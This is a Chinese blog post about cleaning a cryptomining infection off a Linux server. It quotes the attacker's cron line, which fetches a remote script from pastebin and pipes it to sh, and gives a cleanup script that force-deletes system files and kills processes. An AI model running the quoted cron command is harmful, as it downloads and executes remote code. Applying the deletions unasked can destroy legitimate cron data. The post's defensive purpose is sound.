最近3月杀死linux挖矿病毒
|
最近从2月17号开始一直收到阿里云的报警信息;
? ? crontab -l 查看定时任务发现有 */15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh redis也有一个Cache键里放着这个字段*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh 所以我认为是我redis没设密码导致的，具体他是怎么通过redis来倾入，这个不得而知，后续再探究。 sed -i 删除指定任务 busybox top 才能得到未被劫持的so执行程序。 #先要关掉crond,防止在清除过程中又开始下载脚本 # 删除劫持的libcset.so预加载动态链接库，隐藏病毒 # 清理异常进程 # 再次清理异常进程 # 清理开机启动项 ?杀毒代码合并ksoftirqds，kthrotlds，kpsmouseds，kintegrityds杀毒 service crond stop
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcset.so
chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcset.so
# 清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep ‘kthrotlds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep ‘kpsmouseds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep ‘kintegrityds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox rm -f /tmp/kthrotlds
busybox rm -f /tmp/kintegrityds
busybox rm -f /tmp/kpsmouseds
busybox rm -f /etc/cron.d/tomcat
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/rc.d/init.d/kpsmouseds
busybox rm -f /etc/rc.d/init.d/kintegrityds
busybox rm -f /usr/sbin/kthrotlds
busybox rm -f /usr/sbin/kintegrityds
busybox rm -f /usr/sbin/kpsmouseds
busybox rm -f /etc/init.d/netdns
ldconfig
# 再次清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep ‘kthrotlds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep ‘kpsmouseds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep ‘kintegrityds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
# 清理开机启动项
chkconfig netdns off
chkconfig –del netdns
service crond start
echo "Done,Please reboot!"
# [email?protected]
具体杀毒解析流程见：https://www.anquanke.com/post/id/172111 （编辑：李大同） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |